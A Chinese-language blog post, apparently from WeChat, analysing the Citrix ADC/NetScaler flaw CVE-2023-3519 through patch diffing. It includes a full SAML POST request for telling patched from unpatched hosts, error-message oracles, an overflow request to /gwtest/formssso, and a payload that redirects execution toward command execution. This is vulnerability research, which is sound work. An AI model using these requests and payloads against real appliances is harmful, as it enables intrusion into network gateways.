声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
背景介绍:
CVE-2023-3519 这个漏洞其实影响面非常广且危害巨大,大概两周前我看到这个漏洞时就眼前一亮,然后火速搜了一下这个漏洞是否有PoC/EXP,结果发现Github上有人发过,但当我点进去后发现已经404了,至于是被“公关”了还是“造假”就不得而知了。目前已经确认该漏洞在互联网上出售,今天的主题并不是围绕PoC/EXP,主要是想通过国外团队对于这个漏洞的技术分析,看看能否获得一些启发,也许在今后寻找网络设备漏洞上能有所帮助。
该漏洞可能在未启用SAML的前提下存在于身份验证的RCE。
准备工作:
Citrix 网站没有明确说明在哪里注册帐户,可以通过以下链接来注册 Citrix 帐户:https://onboarding.cloud.com
注册帐户后,可以前往以下链接索取评估许可证,需要重复此过程两次以获得两个评估密钥(一个用于已修补的实例,一个用于未修补的实例)。
https://www.citrix.com/en-au/downloads/citrix-adc/virtual-appliances/netscaler-vpx-developer-edition.html
一阶段分析:
获得每个版本的副本后,为 nsppe 二进制文件生成了 BinDiff ,在比较这些功能时,国外团队发现了大约 50 处不同,并开始对每一处功能进行研究。最终,在 ns_aaa_saml_parse_authn_request 处注意到修补版本中添加的错误日志,从这段日志来看,似乎添加了一项检查以确保规范化方法列表不超过最大值,因此国外团队怀疑在未修补的版本中,有可能会超出此限制。
此问题存在于 Citrix ADC 和 NetScaler Gateway 的 SAML 处理组件中。
在 ns_aaa_saml_parse_authn_request 函数中,SAML Payload 被解析为包含相关详细信息的结构,该结构包含了标准化方法值的固定数组,每次解析器看到新的 CanonicalizationMethod 标记时,它都会根据支持的算法列表检查 Algorithm 属性,并将关联的枚举值添加到数组中,在未修补的版本中,不执行边界检查,因此有可能写入数值的末尾,从而会破坏结构的其余部分以及随后分配的任何内存。
由于解析器检查 Algorithm 属性并写入相应的枚举值,因此只能将字节 0x3 或 0x2 写入此缓冲区,通过这种方式,有可能导致段错误和内存损坏,但到目前为止还无法实现 RCE 演示。
除了以上分析之外,国外团队还注意到只有启用 SAML 才能触发上述行为,而当未启用 SAML 时,请求链似乎很早就停止了。
这不是对该漏洞的最终评估,也许可能存在不需要启用 SAML 的不同入口点, Citrix 的公告和迄今为止的所有公开信息也没有提到必须启用 SAML 才能利用该漏洞。
根据 Citrix 返回的响应,可以通过以下错误预言确定 Citrix 实例是否容易受到攻击:
SAML Disabled -> Matching policy not found while trying to process Assertion; Please contact your administrator
SAML Enabled + Patched -> Unsupported mechanisms found in Assertion; Please contact your administrator
SAML Enabled + Unpatched -> SAML Assertion verification failed; Please contact your administrator
这个错误的工作原理是向 /saml/login 发送 POST HTTP 请求,其中 SAML 包含 11 个 CanonicalizationMethod 实例,而已打补丁实例允许的最大值是 10。
以下请求将在未修补的实例上触发错误:SAML Assertion verification failed; Please contact your administrator error message on unpatched instances.
POST /saml/login HTTP/1.1
Host: 192.168.1.225
Connection: close
Content-Length: 3150
Content-Type: application/x-www-form-urlencoded
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI%2BCiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BCiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U%2BCiAgICA8L2RzOlNpZ25lZEluZm8%2BCiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU%2BQTwvZHM6U2lnbmF0dXJlVmFsdWU%2BCiAgPC9kczpTaWduYXR1cmU%2BCiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D
在未修补的实例上,可以包含尽可能多的 CanonicalizationMethod 实例,在流程因 SAML 签名不正确而失败之前,所有这些实例都会被解析。
国外团队还发现了 SAMLResponse 所需的端点
/saml/activelogin 、 /cgi/samlart?samlart= 和 /cgi/logout
但这些端点需要配置 SSO 才能利用此漏洞,目前尚未发现在不启用 SAML 的情况下进行利用的端点。
漏洞验证PoC:
https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519
二阶段分析:
继续分析发现了一个新端点,该端点允许远程执行代码,且无需启用 SAML 等任何特殊配置,该漏洞与 CVE 的描述、Citrix 的公告以及任何其他已出现的公共研究更加吻合。
通过继续分析补丁差异,发现
ns_aaa_gwtest_get_event_and_target_names 有一些更改,如下所示:
可以看到 iVar3 的额外检查,然后将其作为参数传递给 ns_aaa_saml_url_decode
跟踪调用关系,发现易受攻击的函数是在 ns_aaa_gwtest_get_valid_fsso_server的开头调用的。
该函数在路径/gwtest/formssso 处可用。
查看此端点,能够确定它需要一个值为 start 或 stop 的 event 查询参数,
然后,该函数对 target 查询参数进行 URL 解码,没有进行长度检查,为了验证,国外团队构建了如下请求:
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225
这直接导致了崩溃:
经过一番研究后,可以将返回地址插入堆栈中放置 INT3 指令(0xcc)的位置,Payload 如下:
payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'xf0xc1xffxffxffx7f%00%00CCCCCCCCDDDDDDDDxccxccxccxcc'
GDB 再次崩溃,而这次执行到了中断(INT 3)指令。
接下来就可以将其转换为执行任意命令了…
====正文结束====
原文始发于微信公众号(骨哥说事):Citrix ADC 和 NetScaler Gateway 中的 CVE-2023-3519 分析